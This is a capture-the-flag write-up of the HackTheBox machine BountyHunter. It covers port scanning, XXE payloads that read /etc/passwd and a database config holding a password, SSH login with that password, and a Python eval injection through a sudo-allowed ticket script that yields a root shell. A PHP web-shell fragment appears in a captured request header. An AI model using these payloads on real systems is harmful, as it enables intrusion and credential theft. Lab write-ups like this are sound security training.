BountyHunter - [HTB]

Cover Image for BountyHunter - [HTB]
Marmeus
Marmeus

Introduction

BountyHunter is an easy linux machine from HackTheBox where the attacker will have to find an XXE injection on a web form, for obtaining the user credentials, and execute code on a ticketing program due to improper input validation.

Enumeration

As always, let's start finding all opened ports in the machine with nmap.

kali@kali::~/Documents/HTB/BountyHunter$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.048s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sat Jul 24 16:54:15 2021 -- 1 IP address (1 host up) scanned in 25.99 seconds

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali::~/Documents/HTB/BountyHunter$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Having a look at port 80 there is static web page with a portal link.

Bounty Hackers Web page

In the portal page there is a text pointing to a bounty tracker ("Portal under development. Go here to test the bounty tracker."), where appears an html form.

Bounty Report System

Using burpsuite we can intercept its content that is encoded in base64.

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: php echo shell_exec(_GETcmd);
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 269
Origin: http://10.10.11.100
Connection: close
Referer: http://10.10.11.100/log_submit.php
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5DVkUtMjAyMS1QT1RBVE88L3RpdGxlPgoJCTxjd2U%2BQ1dFLVBPVEFUTzwvY3dlPgoJCTxjdnNzPkNWU1MtUE9UQVRPPC9jdnNzPgoJCTxyZXdhcmQ%2BTU9SRSBQT1RBVE9FUzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D

Once the decoded appears an xml structure.

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>CVE-2021-POTATO</title>
		<cwe>CWE-POTATO</cwe>
		<cvss>CVSS-POTATO</cvss>
		<reward>MORE POTATOES</reward>
		</bugreport>

Exploitation

Through XXE injection we can retrieve files from the remote system, like the following.

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>a</cwe>
		<cvss>a</cvss>
		<reward>a</reward>
		</bugreport>
Base64:
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8IURPQ1RZUEUgZm9vIFsgPCFFTlRJVFkgeHhlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9ldGMvcGFzc3dkIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4meHhlOzwvdGl0bGU%2BCgkJPGN3ZT5hPC9jd2U%2BCgkJPGN2c3M%2BYTwvY3Zzcz4KCQk8cmV3YXJkPmE8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

Sending the previous xml code in base64 allow us to retrieve the users in the system.

root:x:0:0:root:/root:/bin/bash
[...]
development:x:1000:1000:Development:/home/development:/bin/bash

Thanks to gobuster we can discover new hidden files like db.php.

kali@kali:/media/sf_2_MisPostsBlog/HTB/BountyHunter$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o dirbuster.txt -u http://10.10.11.100/

===============================================================                       
Gobuster v3.1.0                                                                       
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                         
===============================================================                       
[+] Url:                     http://10.10.11.100/                                   
[+] Method:                  GET                                                      
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404                                                      
[+] User Agent:              gobuster/3.1.0                                           
[+] Extensions:              php,html,txt,doc                                         
[+] Timeout:                 10s                                                      
===============================================================                             
2021/07/24 16:58:43 Starting gobuster in directory enumeration mode                   
===============================================================                       
/resources            (Status: 301) [Size: 320] [--> http://10.10.11.100/resources/] 
/index.php            (Status: 200) [Size: 25169]
/assets               (Status: 301) [Size: 317] [--> http://10.10.11.100/assets/]   
/portal.php           (Status: 200) [Size: 125]     
/css                  (Status: 301) [Size: 314] [--> http://10.10.11.100/css/]
/db.php               (Status: 200) [Size: 0]
/js                   (Status: 301) [Size: 313] [--> http://10.10.11.100/js/]
/server-status        (Status: 403) [Size: 279]                 
===============================================================                       
2021/07/24 17:22:46 Finished                                                          
===============================================================  

With the same technique as before we can obtain its content.

<?xml  version="1.0" encoding="ISO-8859-1"?>
		<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>a</cwe>
		<cvss>a</cvss>
		<reward>a</reward>
		</bugreport>
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

It turns out that we can access to the machine as the user development with the database password through SSH.

kali@kali:~/Documents/HTB/BountyHunter$ ssh development@10.10.11.100
development@10.10.11.100's password: m19RoAU0hP41A1sTsq6K

Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
development@bountyhunter:~$ cat user.txt 
[CENSORED]

Privilege Escalation

The user "development" is able to execute the following python script as root.

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Basically, the script asks for an .md file with the following lines and containing a number which module of 7 is equals to 4 .

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32**
##Issued: 2021/04/06
#End Ticket

Nevertheless, there is a vulnerability in the validation number, because it uses the function eval executing everything that is in the ticket code.

[...]
	if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
[...]

Hence we can create the following ticket, gaining a shell as root.

development@bountyhunter:~$ cat ticket.md 
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**102+__import__('os').system('/bin/bash -p')**
##Issued: 2021/04/06
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
ticket.md
Destination: New Haven
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter: cat /root/root.txt
[CENSORED]